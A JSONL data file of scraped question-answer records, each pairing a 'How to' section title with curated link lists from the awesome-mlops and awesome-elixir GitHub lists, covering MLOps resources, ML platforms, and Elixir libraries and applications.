to MLOps on Google Cloud](https://www.youtube.com/watch?v=6gdrwFMaEZ0#action=share) (First 19 min are vendor-, language-, and framework-agnostic. @visenger)\n1. [How ML Breaks: A Decade of Outages for One Large ML Pipeline](https://youtu.be/hBMHohkRgAA)\n1. [Clean Machine Learning Code: Practical Software Engineering](https://youtu.be/PEjTAJHxYPM)\n1. [Machine Learning Engineering: 10 Fundamentale Praktiken](https://www.youtube.com/watch?v=VYlXNWxqJ2A)\n1. [Architecture of machine learning systems (3-part series)](https://www.youtube.com/playlist?list=PLx8omXiw3n9y26FKZLV5ScyS52D_c29QN)\n1. [Machine Learning Design Patterns](https://youtu.be/udXjlvCFusc)\n1. [The laylist that covers techniques and approaches for model deployment on to production](https://youtube.com/playlist?list=PL3N9eeOlCrP5PlN1jwOB3jVZE6nYTVswk)\n1. [ML Observability: A Critical Piece in Ensuring Responsible AI (Arize AI at Re-Work)](https://www.youtube.com/watch?v=2FE1sg749V[o)\n1. [ML Engineering vs. Data Science (Arize AI Un/Summit)](https://www.youtube.com/watch?v=lP_4lT2k7Kg&t=2s)\n1. [SRE for ML: The First 10 Years and the Next 10 ](https://www.usenix.org/conference/srecon21/presentation/underwood-sre-ml)\n1. [Demystifying Machine Learning in Production: Reasoning about a Large-Scale ML Platform](https://www.usenix.org/conference/srecon21/presentation/mcglohon)\n1. [Apply Conf 2022](https://www.applyconf.com/apply-conf-may-2022/)\n1. [Databricks' Data + AI Summit 2022](https://databricks.com/dataaisummit/north-america-2022)\n1. [RE•WORK MLOps Summit 2022](https://www.re-work.co/events/mlops-summit-2022)\n1. [Annual MLOps World Conference](https://mlopsworld.com/)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684934"}
{"id": "gh_dadb7f739309", "question": "How to: Existing ML Systems", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [Introducing FBLearner Flow: Facebook’s AI backbone](https://engineering.fb.com/ml-applications/introducing-fblearner-flow-facebook-s-ai-backbone/)\n1. [TFX: A TensorFlow-Based Production-Scale Machine Learning Platform](https://dl.acm.org/doi/pdf/10.1145/3097983.3098021?download=true)\n1. [Accelerate your ML and Data workflows to production: Flyte](https://flyte.org/)\n1. [Getting started with Kubeflow Pipelines](https://cloud.google.com/blog/products/ai-machine-learning/getting-started-kubeflow-pipelines)\n1. [Meet Michelangelo: Uber’s Machine Learning Platform](https://www.uber.com/blog/michelangelo-machine-learning-platform/)\n1. [Meson: Workflow Orchestration for Netflix Recommendations](https://netflixtechblog.com/meson-workflow-orchestration-for-netflix-recommendations-fc932625c1d9)\n1. [What are Azure Machine Learning pipelines?](https://docs.microsoft.com/en-gb/azure/machine-learning/concept-ml-pipelines)\n1. [Uber ATG’s Machine Learning Infrastructure for Self-Driving Vehicles](https://eng.uber.com/machine-learning-model-life-cycle-version-control/)\n1. [An overview of ML development platforms](https://www.linkedin.com/pulse/overview-ml-development-platforms-louis-dorard/)\n1. [Snorkel AI: Putting Data First in ML Development](https://www.snorkel.ai/07-14-2020-snorkel-ai-launch.html)\n1. [A Tour of End-to-End Machine Learning Platforms](https://databaseline.tech/a-tour-of-end-to-end-ml-platforms/)\n1. [Introducing WhyLabs, a Leap Forward in AI Reliability](https://medium.com/whylabs/introducing-whylabs-5a3b4f37b998)\n1. [Project: Ease.ml (ETH Zürich)](https://ds3lab.inf.ethz.ch/easeml.html)\n1. [Bodywork: model-training and deployment automation](https://bodywork.readthedocs.io/en/latest/)\n1. [Lessons on ML Platforms — from Netflix, DoorDash, Spotify, and more](https://towardsdatascience.com/lessons-on-ml-platforms-from-netflix-doordash-spotify-and-more-f455400115c7)\n1. [Papers & tech blogs by companies sharing their work on data science & machine learning in production. By Eugen Yan](https://github.com/eugeneyan/applied-ml)\n1. [How do different tech companies approach building internal ML platforms? (tweet)](https://twitter.com/EvidentlyAI/status/1420328878585913344)\n1. [Declarative Machine Learning Systems](https://dl.acm.org/doi/pdf/10.1145/3475965.3479315)\n1. [StreamING Machine Learning Models: How ING Adds Fraud Detection Models at Runtime with Apache Flink](https://www.ververica.com/blog/real-time-fraud-detection-ing-bank-apache-flink)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684944"}
{"id": "gh_18ece99418a2", "question": "How to: Machine Learning", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. Book, Aurélien Géron,\"Hands-On Machine Learning with Scikit-Learn and TensorFlow\"\n1. [Foundations of Machine Learning](https://bloomberg.github.io/foml/)\n1. [Best Resources to Learn Machine Learning](http://www.trainindatablog.com/best-resources-to-learn-machine-learning/)\n1. [Awesome TensorFlow](https://github.com/jtoy/awesome-tensorflow)\n1. [\"Papers with Code\" - Browse the State-of-the-Art in Machine Learning](https://paperswithcode.com/sota)\n1. [Zhi-Hua Zhou. 2012. Ensemble Methods: Foundations and Algorithms. Chapman & Hall/CRC.](https://www.amazon.com/exec/obidos/ASIN/1439830037/acmorg-20)\n1. [Feature Engineering for Machine Learning. Principles and Techniques for Data Scientists. By Alice Zheng, Amanda Casari](https://www.amazon.com/Feature-Engineering-Machine-Learning-Principles-ebook/dp/B07BNX4MWC)\n1. [Google Research: Looking Back at 2019, and Forward to 2020 and Beyond](https://ai.googleblog.com/2020/01/google-research-looking-back-at-2019.html)\n1. [O’Reilly: The road to Software 2.0](https://www.oreilly.com/radar/the-road-to-software-2-0/)\n1. [Machine Learning and Data Science Applications in Industry](https://github.com/firmai/industry-machine-learning)\n1. [Deep Learning for Anomaly Detection](https://ff12.fastforwardlabs.com/)\n1. [Federated Learning for Mobile Keyboard Prediction](https://arxiv.org/pdf/1811.03604.pdf)\n1. [Federated Learning. Building better products with on-device data and privacy on default](https://federated.withgoogle.com/)\n1. [Federated Learning: Collaborative Machine Learning without Centralized Training Data](https://ai.googleblog.com/2017/04/federated-learning-collaborative.html) \n1. [Yang, Q., Liu, Y., Cheng, Y., Kang, Y., Chen, T. and Yu, H., 2019. Federated learning. Synthesis Lectures on Artificial Intelligence and Machine Learning, 13(3). Chapters 1 and 2.](https://www.morganclaypoolpublishers.com/catalog_Orig/samples/9781681736983_sample.pdf)\n1. [Federated Learning by FastForward](https://federated.fastforwardlabs.com/)\n1. [THE FEDERATED & DISTRIBUTED MACHINE LEARNING CONFERENCE](https://www.federatedlearningconference.com/)\n1. [Federated Learning: Challenges, Methods, and Future Directions](https://blog.ml.cmu.edu/2019/11/12/federated-learning-challenges-methods-and-future-directions/)\n1. [Book: Molnar, Christoph. \"Interpretable machine learning. A Guide for Making Black Box Models Explainable\", 2019](https://christophm.github.io/interpretable-ml-book/)\n1. [Book: Hutter, Frank, Lars Kotthoff, and Joaquin Vanschoren. \"Automated Machine Learning\". Springer,2019.](https://originalstatic.aminer.cn/misc/pdf/Hutter-AutoML_Book_compressed.pdf)\n1. [ML resources by topic, curated by the community. ](https://madewithml.com/topics/)\n1. [An Introduction to Machine Learning Interpretability, by Patrick Hall, Navdeep Gill, 2nd Edition. O'Reilly 2019](https://learning.oreilly.com/library/view/an-introduction-to/9781098115487/)\n1. [Examples of techniques for training interpretable machine learning (ML) models, explaining ML models, and debugging ML models for accuracy, discrimination, and security.](https://github.com/jphall663/interpretable_machine_learning_with_python)\n1. [Paper: \"Machine Learning in Python: Main developments and technology trends in data science, machine learning, and artificial intelligence\", by Sebastian Raschka, Joshua Patterson, and Corey Nolet. 2020](https://arxiv.org/pdf/2002.04803.pdf)\n1. [Distill: Machine Learning Research](https://distill.pub/)\n1. [AtHomeWithAI: Curated Resource List by DeepMind](https://storage.googleapis.com/deepmind-media/research/New_AtHomeWithAI%20resources.pdf)\n1. [Awesome Data Science](https://github.com/academic/awesome-datascience)\n1. [Intro to probabilistic programming. A use case using Tensorflow-Probability (TFP)](https://towardsdatascience.com/intro-to-probabilistic-programming-b47c4e926ec5)\n1. [Dive into Snorkel: Weak-Superversion on German Texts. inovex Blog](https://www.inovex.de/blog/snorkel-weak-superversion-german-texts/)\n1. [Dive into Deep Learning. An interactive deep learning book with code, math, and discussions. Provides NumPy/MXNet, PyTorch, and TensorFlow implementations](http://d2l.ai/)\n1. [Data Science Collected Resources (GitHub repository)](https://github.com/tirthajyoti/Data-science-best-resources)\n1. [Set of illustrated Machine Learning cheatsheets](https://stanford.edu/~shervine/teaching/cs-229/)\n1. [\"Machine Learning Bookcamp\" by Alexey Grigorev](https://www.manning.com/books/machine-learning-bookcamp)\n1. [130 Machine Learning Projects Solved and Explained](https://medium.com/the-innovation/130-machine-learning-projects-solved-and-explained-605d188fb392)\n1. [Machine learning cheat sheet](https://github.com/soulmachine/machine-learning-cheat-sheet)\n1. [Stateoftheart AI. An open-data and free platform built by the research community to facilitate the collaborative development of AI](https://www.stateoftheart.ai/)\n1. [Online Machine Learning Courses: 202", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684963"}
{"id": "gh_98033ef9d778", "question": "How to: Software Engineering", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [The Twelve Factors](https://12factor.net/)\n1. [Book \"Accelerate: The Science of Lean Software and DevOps: Building and Scaling High Performing Technology Organizations\", 2018 by Nicole Forsgren et.al](https://www.amazon.com/Accelerate-Software-Performing-Technology-Organizations/dp/1942788339)\n1. [Book \"The DevOps Handbook\" by Gene Kim, et al. 2016](https://itrevolution.com/book/the-devops-handbook/)\n1. [State of DevOps 2019](https://research.google/pubs/pub48455/)\n1. [Clean Code concepts adapted for machine learning and data science.](https://github.com/davified/clean-code-ml)\n1. [School of SRE](https://linkedin.github.io/school-of-sre/)\n1. [10 Laws of Software Engineering That People Ignore](https://www.indiehackers.com/post/10-laws-of-software-engineering-that-people-ignore-e3439176dd)\n1. [The Patterns of Scalable, Reliable, and Performant Large-Scale Systems](http://awesome-scalability.com/)\n1. [The Book of Secret Knowledge](https://github.com/trimstray/the-book-of-secret-knowledge)\n1. [SHADES OF CONWAY'S LAW](https://thinkinglabs.io/articles/2021/05/07/shades-of-conways-law.html)\n1. [Engineering Practices for Data Scientists](https://valohai.com/engineering-practices-ebook/)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684970"}
{"id": "gh_ba113efcde18", "question": "How to: Product Management for ML/AI", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [What you need to know about product management for AI. A product manager for AI does everything a traditional PM does, and much more.](https://www.oreilly.com/radar/what-you-need-to-know-about-product-management-for-ai/)\n1. [Bringing an AI Product to Market. Previous articles have gone through the basics of AI product management. Here we get to the meat: how do you bring a product to market?](https://www.oreilly.com/radar/bringing-an-ai-product-to-market/)\n1. [The People + AI Guidebook](https://pair.withgoogle.com/guidebook/)\n1. [User Needs + Defining Success](https://pair.withgoogle.com/chapter/user-needs/)\n1. [Building machine learning products: a problem well-defined is a problem half-solved.](https://www.jeremyjordan.me/ml-requirements/)\n1. [Talk: Designing Great ML Experiences (Apple)](https://developer.apple.com/videos/play/wwdc2019/803/) \n1. [Machine Learning for Product Managers](http://nlathia.github.io/2017/03/Machine-Learning-for-Product-Managers.html)\n1. [Understanding the Data Landscape and Strategic Play Through Wardley Mapping](https://ergestx.com/data-landscape-wardley-mapping/)\n1. [Techniques for prototyping machine learning systems across products and features](https://design.google/library/simulating-intelligence/)\n1. [Machine Learning and User Experience: A Few Resources](https://medium.com/ml-ux/machine-learning-and-user-experience-a-few-resources-e7872f1d34ee)\n1. [AI ideation canvas](https://idalab.de/wp-content/uploads/2021/02/idalab-AI-ideation-canvas-Feb21.pdf)\n1. [Ideation in AI](https://idalab.de/ideation-in-ai-five-ways-to-make-the-workshops-work/)\n1. [5 Steps for Building Machine Learning Models for Business. By shopify engineering](https://shopify.engineering/building-business-machine-learning-models)\n1. [Metric Design for Data Scientists and Business Leaders](https://towardsdatascience.com/metric-design-for-data-scientists-and-business-leaders-b8adaf46c00)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684977"}
{"id": "gh_57902b7ae3b4", "question": "How to: The Economics of ML/AI", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [Book: \"Prediction Machines: The Simple Economics of Artificial Intelligence\"](https://www.predictionmachines.ai/)\n1. [Book: \"The AI Organization\" by David Carmona](https://learning.oreilly.com/library/view/the-ai-organization/9781492057369/)\n1. [Book: \"Succeeding with AI\". 2020. By Veljko Krunic. Manning Publications](https://learning.oreilly.com/library/view/succeeding-with-ai/9781617296932/)\n1. [A list of articles about AI and the economy](https://www.predictionmachines.ai/articles)\n1. [Gartner AI Trends 2019](https://blogs.gartner.com/smarterwithgartner/files/2019/08/CTMKT_736691_Hype_Cycle_for_AI_2019.png)\n1. [Global AI Survey: AI proves its worth, but few scale impact](https://www.mckinsey.com/featured-insights/artificial-intelligence/global-ai-survey-ai-proves-its-worth-but-few-scale-impact)\n1. [Getting started with AI? Start here! Everything you need to know to dive into your project](https://medium.com/hackernoon/the-decision-makers-guide-to-starting-ai-72ee0d7044df)\n1. [11 questions to ask before starting a successful Machine Learning project](https://tryolabs.com/blog/2019/02/13/11-questions-to-ask-before-starting-a-successful-machine-learning-project/)\n1. [What AI still can’t do](https://www.technologyreview.com/s/615189/what-ai-still-cant-do/)\n1. [Demystifying AI Part 4: What is an AI Canvas and how do you use it?](https://www.wearebrain.com/blog/ai-data-science/what-is-an-ai-canvas/)\n1. [A Data Science Workflow Canvas to Kickstart Your Projects](https://towardsdatascience.com/a-data-science-workflow-canvas-to-kickstart-your-projects-db62556be4d0)\n1. [Is your AI project a nonstarter? Here’s a reality check(list) to help you avoid the pain of learning the hard way](https://medium.com/hackernoon/ai-reality-checklist-be34e2fdab9)\n1. [What is THE main reason most ML projects fail?](https://towardsdatascience.com/what-is-the-main-reason-most-ml-projects-fail-515d409a161f)\n1. [Designing great data products. The Drivetrain Approach: A four-step process for building data products.](https://www.oreilly.com/radar/drivetrain-approach-data-products/)\n1. [The New Business of AI (and How It’s Different From Traditional Software)](https://a16z.com/2020/02/16/the-new-business-of-ai-and-how-its-different-from-traditional-software/)\n1. [The idea maze for AI startups](https://cdixon.org/2015/02/01/the-ai-startup-idea-maze)\n1. [The Enterprise AI Challenge: Common Misconceptions](https://www.forbes.com/sites/forbestechcouncil/2020/01/15/the-enterprise-ai-challenge-common-misconceptions/#37ca1e5c5696)\n1. [Misconception 1 (of 5): Enterprise AI Is Primarily About The Technology](https://www.forbes.com/sites/forbestechcouncil/2020/01/31/misconception-1-of-5-enterprise-ai-is-primarily-about-the-technology/#151e6711180e)\n1. [Misconception 2 (of 5): Automated Machine Learning Will Unlock Enterprise AI](https://www.forbes.com/sites/forbestechcouncil/2020/02/27/misconception-2-of-5-automated-machine-learning-will-unlock-enterprise-ai/#7f618ff97ace)\n1. [Three Principles for Designing ML-Powered Products](https://spotify.design/articles/2019-12-10/three-principles-for-designing-ml-powered-products/)\n1. [A Step-by-Step Guide to Machine Learning Problem Framing](https://medium.com/thelaunchpad/a-step-by-step-guide-to-machine-learning-problem-framing-6fc17126b981)\n1. [AI adoption in the enterprise 2020](https://www.oreilly.com/radar/ai-adoption-in-the-enterprise-2020/)\n1. [How Adopting MLOps can Help Companies With ML Culture?](https://www.analyticsinsight.net/adopting-mlops-can-help-companies-ml-culture/)\n1. [Weaving AI into Your Organization](https://medium.com/firmai/weaving-ai-into-your-organization-2d9643da50e1)\n1. [What to Do When AI Fails](https://www.oreilly.com/radar/what-to-do-when-ai-fails/)\n1. [Introduction to Machine Learning Problem Framing](https://developers.google.com/machine-learning/problem-framing)\n1. [Structured Approach for Identifying AI Use Cases](https://towardsdatascience.com/proven-structured-approach-for-identifying-ai-use-cases-b876d8d00e5)\n1. [Book: \"Machine Learning for Business\" by Doug Hudgeon, Richard Nichol, O'reilly](https://learning.oreilly.com/library/view/machine-learning-for/9781617295836/)\n1. [Why Commercial Artificial Intelligence Products Do Not Scale (FemTech)](https://www.presagen.com/why-commercial-artificial-intelligence-products-do-not-scale)\n1. [Google Cloud’s AI Adoption Framework (White Paper)](https://services.google.com/fh/files/misc/ai_adoption_framework_whitepaper.pdf)\n1. [Data Science Project Management](http://www.datascience-pm.com/)\n1. [Book: \"Competing in the Age of AI\" by Marco Iansiti, Karim R. Lakhani. Harvard Business Review Press. 2020](https://learning.oreilly.com/library/view/competing-in-the/9781633697638/)\n1. [The Three Questions about AI that Startups Need to Ask. The first is: Are you sure you need AI?](https://towardsdatascience.com/google-expert-tips-for-artificial-intelligence-startups-three-questions-abou", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684993"}
{"id": "gh_3f4549953711", "question": "How to: Model Governance, Ethics, Responsible AI", "question_body": "About visenger/awesome-mlops", "answer": "This topic is extracted into our new [Awesome ML Model Governace repository](https://github.com/visenger/Awesome-ML-Model-Governance)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684999"}
{"id": "gh_ae394940f2d2", "question": "How to: MLOps: People & Processes", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [Scaling An ML Team (0–10 People)](https://medium.com/aquarium-learning/scaling-an-ml-team-0-10-people-ae024f3a89f3)\n1. [The Knowledge Repo project is focused on facilitating the sharing of knowledge between data scientists and other technical roles.](https://github.com/airbnb/knowledge-repo) \n1. [Scaling Knowledge at Airbnb](https://medium.com/airbnb-engineering/scaling-knowledge-at-airbnb-875d73eff091)\n1. [Models for integrating data science teams within companies A comparative analysis](https://djpardis.medium.com/models-for-integrating-data-science-teams-within-organizations-7c5afa032ebd)\n1. [How to Write Better with The Why, What, How Framework. How to write design documents for data science/machine learning projects? (by Eugene Yan)](https://eugeneyan.com/writing/writing-docs-why-what-how/)\n1. [Technical Writing Courses](https://developers.google.com/tech-writing)\n1. [Building a data team at a mid-stage startup: a short story. By Erik Bernhardsson](https://erikbern.com/2021/07/07/the-data-team-a-short-story.html)\n1. [The Cultural Benefits of Artificial Intelligence in the Enterprise. by Sam Ransbotham, François Candelon, David Kiron, Burt LaFountain, and Shervin Khodabandeh](https://web-assets.bcg.com/2a/d0/ebfb860a4e05aa9e4729b083da4b/the-cultural-benefits-of-artificial-intelligence-in-the-enterprise.pdf)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.685006"}
{"id": "gh_5d7fe4896206", "question": "How to: Algorithms and Data structures", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and implementations of algorithms and data structures.*\n\n* [aja](https://github.com/sabiwara/aja) - High performance persistent vectors and ordered maps.\n* [array](https://github.com/takscape/elixir-array) - An Elixir wrapper library for Erlang's array.\n* [aruspex](https://github.com/dkendal/aruspex) - Aruspex is a configurable constraint solver, written purely in Elixir.\n* [bimap](https://github.com/mkaput/elixir-bimap) - Pure Elixir implementation of [bidirectional maps](https://en.wikipedia.org/wiki/Bidirectional_map) and multimaps.\n* [bitmap](https://github.com/hashd/bitmap-elixir) - Pure Elixir implementation of [bitmaps](https://en.wikipedia.org/wiki/Bitmap).\n* [blocking_queue](https://github.com/joekain/BlockingQueue) - BlockingQueue is a simple queue implemented as a GenServer. It has a fixed maximum length established when it is created.\n* [bloomex](https://github.com/gmcabrita/bloomex) - A pure Elixir implementation of Scalable Bloom Filters.\n* [clope](https://github.com/ayrat555/clope) - Elixir implementation of CLOPE: A Fast and Effective Clustering Algorithm for Transactional Data.\n* [Closure Table](https://github.com/florinpatrascu/closure_table) - Closure Table for Elixir - a simple solution for storing and manipulating complex hierarchies. It provides in-memory and Ecto adapters.\n* [combination](https://github.com/seantanly/elixir-combination) - Elixir library to generate combinations and permutations from Enumerable collection.\n* [conrex](https://github.com/NAISorg/conrex) - An Elixir implementation of the CONREC algorithm for topographic or isochrone maps.\n* [count_buffer](https://github.com/camshaft/count_buffer) - Buffer a large set of counters and flush periodically.\n* [cuckoo](https://github.com/gmcabrita/cuckoo) - A pure Elixir implementation of [Cuckoo Filters](https://www.cs.cmu.edu/%7Edga/papers/cuckoo-conext2014.pdf).\n* [cuid](https://github.com/duailibe/cuid) - Collision-resistant ids optimized for horizontal scaling and sequential lookup performance, written in Elixir.\n* [data_morph](https://hex.pm/packages/data_morph) - Create Elixir structs from data.\n* [dataframe](https://github.com/JordiPolo/dataframe) - Package providing functionality similar to Python's Pandas or R's data.frame().\n* [datastructures](https://github.com/meh/elixir-datastructures) - A collection of protocols, implementations and wrappers to work with data structures.\n* [def_memo](https://github.com/os6sense/DefMemo) - A memoization macro (defmemo) for elixir using a genserver backing store.\n* [dlist](https://github.com/stocks29/dlist) - Deque implementations in Elixir.\n* [eastar](https://github.com/herenowcoder/eastar) - A* graph pathfinding in pure Elixir.\n* [ecto_materialized_path](https://github.com/asiniy/ecto_materialized_path) - Tree structure, hierarchy and ancestry for the ecto models.\n* [ecto_state_machine](https://github.com/asiniy/ecto_state_machine) - Finite state machine pattern implemented on Elixir and  adopted for Ecto.\n* [elistrix](https://github.com/tobz/elistrix) - A latency / fault tolerance library to help isolate your applications from an uncertain world of slow or failed services.\n* [emel](https://github.com/mrdimosthenis/emel) - A simple and functional machine learning library written in elixir.\n* [erlang-algorithms](https://github.com/aggelgian/erlang-algorithms) - Implementations of popular data structures and algorithms.\n* [exconstructor](https://github.com/appcues/exconstructor) - An Elixir library for generating struct constructors that handle external data with ease.\n* [exfsm](https://github.com/awetzel/exfsm) - Simple elixir library to define a static FSM.\n* [exmatrix](https://github.com/a115/exmatrix) - ExMatrix is a small library for working with matrices, originally developed for testing matrix multiplication in parallel.\n* [exor_filter](https://github.com/mpope9/exor_filter) - Nif for xor_filters.  'Faster and Smaller Than Bloom and Cuckoo Filters'.\n* [ezcryptex](https://github.com/stocks29/ezcryptex) - Thin layer on top of Cryptex.\n* [flow](https://github.com/dashbitco/flow) - Computational parallel flows on top of GenStage.\n* [fnv](https://github.com/asaaki/fnv.ex) - Pure Elixir implementation of Fowler–Noll–Vo hash functions.\n* [fsm](https://github.com/sasa1977/fsm) - Finite state machine as a functional data structure.\n* [fuse](https://github.com/jlouis/fuse) - This application implements a so-called circuit-breaker for Erlang.\n* [gen_fsm](https://github.com/pavlos/gen_fsm) - A generic finite state-machine - Elixir wrapper around OTP's gen_fsm.\n* [graphex](https://github.com/stocks29/graphex) - A library for composing and executing task graphs in elixir.\n* [graphmath](https://github.com/crertel/graphmath) - An Elixir library for performing 2D and 3D mathematics.\n* [hash_ring_ex](https://github.com/reset/hash-ring-ex) - A consistent hash-ring implementation for Elixir.\n* [hypex](https://github.com/whitfin/hypex) - Fast Elixir implementation of HyperLogLog.\n* [i", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762312"}
{"id": "gh_dc262ce48a18", "question": "How to: Applications", "question_body": "About h4cc/awesome-elixir", "answer": "*Standalone applications.*\n* [Caddishouse](https://github.com/caddishouse/reader) - A web-based document reader that connects to your cloud storage accounts using Phoenix/LiveView.\n* [CaptainFact](https://github.com/CaptainFact/captain-fact-api) - A collaborative, real-time video fact-checking platform. ([Docs](https://captainfact.io/)).\n* [chat](https://github.com/synrc/chat) - A tiny text chat sample based on N2O.\n* [Consolex](https://github.com/sivsushruth/consolex) - Consolex is a tool that allows you to attach a web based console to any mix project.\n* [dragonfly_server](https://github.com/cloud8421/dragonfly-server) - Elixir app to serve Dragonfly images.\n* [exchat](https://github.com/tony612/exchat) - A Slack-like app by Elixir, Phoenix & React (redux).\n* [Exon](https://github.com/tchoutri/Exon) - A “mess manager” developed in Elixir and provides a simple API to manage & document your stuff. ([Docs](https://hexdocs.pm/exon/readme.html)).\n* [ExShop](https://github.com/authentic-pixels/ex-shop) - Digital goods shop & blog created using Phoenix framework.\n* [Harpoon](https://github.com/aschiavon91/harpoon) - A webhook receiver/inspector app, made using Phoenix and LiveView, it's basically a simplified version of [webhook.site](htts://webhook.site).\n* [Igthorn](https://github.com/cinderella-man/igthorn) - Cryptocurrecy trading platform / trading bot with admin panel.\n* [Lynx](https://github.com/clivern/lynx) - A Fast, Secure and Reliable Terraform Backend, Set up in Minutes.\n* [majremind](https://bitbucket.org/Anwen/majremind) - A self-maintained database of your updated server which tells you which one needs to be updated.\n* [medex](https://github.com/xerions/medex) - Medical Examination - application for register health check callbacks and represent their state via HTTP.\n* [medusa_server](https://github.com/IcaliaLabs/medusa_server) - A simple cowboy web server written in Elixir to stack images. ([Docs](https://hexdocs.pm/medusa/0.2.0/api-reference.html)).\n* [Nvjorn](https://github.com/tchoutri/Nvjorn) - A multi-protocol network services monitor written in Elixir using Poolboy.\n* [Phoenix Battleship](https://github.com/bigardone/phoenix-battleship) - The Good Old game built with Elixir, Phoenix Framework, React and Redux.\n* [Phoenix Toggl](https://github.com/bigardone/phoenix-toggl) - Toggl tribute done in Elixir, Phoenix Framework, React and Redux.\n* [Phoenix Trello](https://github.com/bigardone/phoenix-trello) - Trello tribute done in Elixir, Phoenix Framework, React and Redux.\n* [Plural](https://github.com/pluralsh/plural) - Deploys your favorite open source applications like airflow and airbyte in your own cloud account with just two commands.  Written in Elixir and Phoenix Framework for server side, and React for frontend.\n* [poxa](https://github.com/edgurgel/poxa) - Open Pusher implementation, compatible with Pusher libraries.\n* [Queerlink](https://github.com/Queertoo/Queerlink) - A simple yet efficient URL shortening service written in Elixir.\n* [RemoteRetro](https://github.com/stride-nyc/remote_retro) - A real-time application for conducting Agile retrospectives at [remoteretro.org](https://remoteretro.org) written in Elixir/Phoenix/React.\n* [Sprint Poker](https://github.com/elpassion/sprint-poker) - Online estimation tool for Agile teams, written using Elixir Lang, Phoenix Framework and React.\n* [Startup Job](https://github.com/tsurupin/job_search) - An umbrella project to search startup jobs scraped from websites written in Elixir/Phoenix and React/Redux.\n* [Tai](https://github.com/fremantle-capital/tai) - A composable, real time, cryptocurrency market data and trade execution toolkit.\n* [tty2048](https://github.com/lexmag/tty2048) - Terminal-based 2048 game written in Elixir.\n* [uai_shot](https://github.com/sergioaugrod/uai_shot) - A multiplayer ship game built with Elixir, Phoenix Framework and Phaser.\n* [utils](https://github.com/q60/utils) - Website with handy day-to-day utils: to do list, URL shortener, code bin and pie chart. Written in Elixir using Phoenix Framework.\n* [workbench](https://github.com/fremantle-industries/workbench) - From Idea to Execution - Manage your trading operation across a globally distributed cluster.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762338"}
{"id": "gh_e2a3b0a885c8", "question": "How to: Artificial Intelligence", "question_body": "About h4cc/awesome-elixir", "answer": "*When your code becomes smarter than you.*\n\n* [AshAI](https://github.com/ash-project/ash_ai) - AI and LLM toolkit for Ash applications. MCP server, MCP dev tools, vector embeddings, chat interfaces, and more.\n* [Axon](https://github.com/elixir-nx/axon) - Nx-powered Neural Networks.\n* [Beaver](https://github.com/beaver-lodge/beaver) - Beaver is a LLVM/MLIR Toolkit in Elixir and Zig.\n* [ExLLama](https://github.com/noizu-labs-ml/ex_llama) - LlamaCpp Nif Extensions for Elixir/Erlang. ([Docs](https://hexdocs.pm/ex_llama/ExLLama.html)).\n* [Exnn](https://github.com/zampino/exnn) - Evolutive Neural Networks framework à la G.Sher written in Elixir. ([Docs](http://zampino.github.io/exnn/)).\n* [GenAI](https://github.com/noizu-labs-ml/genai) - An extensible Generative AI Completion API Wrapper with basic chat completion with tool use support provided for Gemini, Anthropic, OpenAI, and Mistral models. ([Docs](https://hexdocs.pm/genai/GenAI.html)).\n* [Jido](https://github.com/agentjido/jido) - Autonomous agent framework for Elixir. Built for distributed, autonomous behavior and dynamic workflows.\n* [m2cgen](https://github.com/BayesWitnesses/m2cgen) - A CLI tool to transpile trained classic ML models into a native Elixir code with zero dependencies.\n* [Neat-Ex](https://gitlab.com/onnoowl/Neat-Ex) - An Elixir implementation of the NEAT algorithm. ([Docs](https://hexdocs.pm/neat_ex/Neat.html)).\n* [Noizu-OpenAi](https://github.com/noizu-labs/elixir-openai) - An Elixir Api for the OpenAI Library. ([Docs](https://hexdocs.pm/noizu_labs_open_ai/api-reference.html)).\n* [Nx](https://github.com/elixir-nx/nx) - Multi-dimensional arrays (tensors) and numerical definitions for Elixir.\n* [ReqLLM](https://github.com/agentjido/req_llm) - LLM Client supporting over 100+ LLM Providers and Models\n* [Runhyve](https://runhyve.app) - Runhyve is complete virtual 